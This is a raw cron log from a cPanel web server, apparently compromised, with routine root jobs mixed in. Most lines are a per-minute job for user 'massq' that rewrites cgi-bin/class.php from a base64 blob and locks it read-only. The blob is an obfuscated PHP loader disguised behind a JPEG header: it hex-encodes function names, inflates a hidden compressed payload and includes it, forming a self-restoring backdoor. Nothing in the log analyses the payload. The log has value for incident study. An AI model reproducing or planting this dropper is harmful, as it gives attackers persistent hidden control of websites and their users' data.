Nov 16 01:52:01 server CROND[1556]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:53:01 server CROND[1658]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:54:01 server CROND[1759]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:55:01 server CROND[1968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 01:55:01 server CROND[1969]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:55:01 server CROND[1970]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 01:56:01 server CROND[2119]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:57:01 server CROND[2233]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:57:01 server CROND[2234]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 16 01:58:01 server CROND[2333]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:59:01 server CROND[2439]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:00:01 server CROND[2601]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 02:00:01 server CROND[2607]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 16 02:00:01 server CROND[2605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 02:00:01 server CROND[2612]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 02:00:01 server CROND[2613]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:00:01 server CROND[2606]: (root) CMD (/usr/local/cpanel/bin/backup)
Nov 16 02:01:01 server CROND[2826]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:01:01 server CROND[2827]: (root) CMD (run-parts /etc/cron.hourly)
Nov 16 02:01:01 server run-parts(/etc/cron.hourly)[2827]: starting 0anacron
Nov 16 02:01:01 server anacron[2839]: Anacron started on 2025-11-16
Nov 16 02:01:01 server anacron[2839]: Normal exit (0 jobs run)
Nov 16 02:01:01 server run-parts(/etc/cron.hourly)[2841]: finished 0anacron
Nov 16 02:02:01 server CROND[2945]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:03:01 server CROND[3045]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:04:01 server CROND[3155]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 02:05:01 server CROND[3274]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 02:05:01 server CROND[3275]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 16 02:05:01 server CROND[3276]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
